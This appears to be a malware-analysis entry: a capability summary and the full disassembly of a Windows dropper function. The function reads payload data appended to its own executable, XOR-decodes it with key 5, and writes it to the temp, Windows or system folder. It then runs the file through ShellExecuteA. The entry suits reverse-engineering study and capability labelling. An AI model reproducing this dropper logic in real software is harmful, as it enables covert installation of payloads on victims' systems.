Function at 0x401060
Capabilities:
Create process on windows
Encode data using xor
Get common file path
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
push 0x104
mov dword [esp + 0x14], 0
mov ebp, 1
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
sub esp, 0xfffffffc
mov dword [0x401420], eax
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [0x401420]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 4
push 0
push ebp
push 0x80000000
push eax
call ebx
push 2
push eax
pop esi
push 0
push 0xfffffffffffffffc
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea ecx, [esp + 0x14]
push 0
push ecx
lea edx, [esp + 0x18]
push 4
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
or eax, eax
je 0x4013dc
mov esi, 0x401048
mov eax, 0x401400
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x401118
or cl, cl
je 0x401114
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x401118
add eax, 2
add esi, 2
test cl, cl
jne 0x4010f4
xor eax, eax
jmp 0x40111d
sbb eax, eax
sbb eax, 0xffffffff
or eax, eax
je 0x4013dc
mov eax, dword [0x401420]
push 0
push 0x80
push 4
push 0
push 1
push 0x80000000
push eax
call ebx
mov ecx, dword [esp + 0x10]
push 0
push eax
pop esi
push 0
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea edx, [esp + 0x14]
push 0
push edx
push 0x20
push 0x401400
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 0x401048
mov eax, 0x401400
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40119b
or cl, cl
je 0x401197
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40119b
add eax, 2
add esi, 2
or cl, cl
jne 0x401177
xor eax, eax
jmp 0x4011a0
sbb eax, eax
sbb eax, 0xffffffff
or eax, eax
je 0x4013dc
push 0x104
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push eax
pop edx
mov eax, dword [0x401418]
sub esp, 0xfffffffc
cmp eax, 1
mov dword [0x401428], edx
jne 0x4011d5
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
jmp 0x401227
cmp eax, 2
jne 0x4011e8
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x4011f9
cmp eax, 3
jne 0x40122d
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x401044
sub ecx, ecx
dec ecx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push edi
pop esi
mov edi, dword [0x401428]
push ecx
pop edx
sub ecx, ecx
dec ecx
repne scasb al, byte es:[edi]
push edx
pop ecx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push edx
pop ecx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edx, dword [0x401428]
mov edi, 0x401400
xor ecx, ecx
dec ecx
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ecx
pop eax
push edi
pop esi
mov dword [esp + 0x18], eax
mov edi, edx
sub ecx, ecx
dec ecx
sub eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x18]
dec edi
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
pop ecx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
add dword [esp + 0x10], 0x20
mov ecx, dword [0x401420]
push 0
push 0x80
push 4
push 0
push 1
push 0x80000000
push ecx
call ebx
mov edx, dword [esp + 0x10]
push eax
pop edi
push 0
push 0
lea eax, [edx + ebp - 1]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, dword [0x401414]
sub esi, ebp
inc esi
cmp esi, 0x600000
jbe 0x4012af
mov esi, 0x600000
jmp 0x4012b7
test esi, esi
je 0x401347
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
sub esp, 0xfffffffc
lea ecx, [esp + 0x14]
mov dword [0x401424], eax
push 0
push ecx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add ebp, esi
cmp esi, eax
jbe 0x4012fb
mov ecx, dword [0x401424]
mov dl, byte [ecx + eax]
xor dl, 5
mov byte [ecx + eax], dl
inc eax
cmp eax, esi
jb 0x4012e7
mov edx, dword [0x401428]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push edx
call ebx
push 2
push eax
pop edi
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [0x401424]
lea eax, [esp + 0x14]
push 0
push eax
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401266
mov eax, dword [0x40141c]
cmp eax, 1
jne 0x40135f
mov edx, dword [0x401428]
push eax
push 0
push 0
push edx
jmp 0x401370
cmp eax, 2
jne 0x40137d
mov eax, dword [0x401428]
push 0
push 0
push 0
push eax
push 0x40103c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [0x401414]
mov edx, dword [esp + 0x10]
add edx, ecx
mov ebp, 1
mov dword [esp + 0x10], edx
mov edx, dword [0x401428]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
sub esp, 0xfffffffc
mov esi, 0x401048
mov eax, 0x401400
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4013cf
test cl, cl
je 0x4013cb
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4013cf
add eax, 2
add esi, 2
test cl, cl
jne 0x4013ab
sub eax, eax
jmp 0x4013d4
sbb eax, eax
sbb eax, 0xffffffff
or eax, eax
jne 0x401125
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret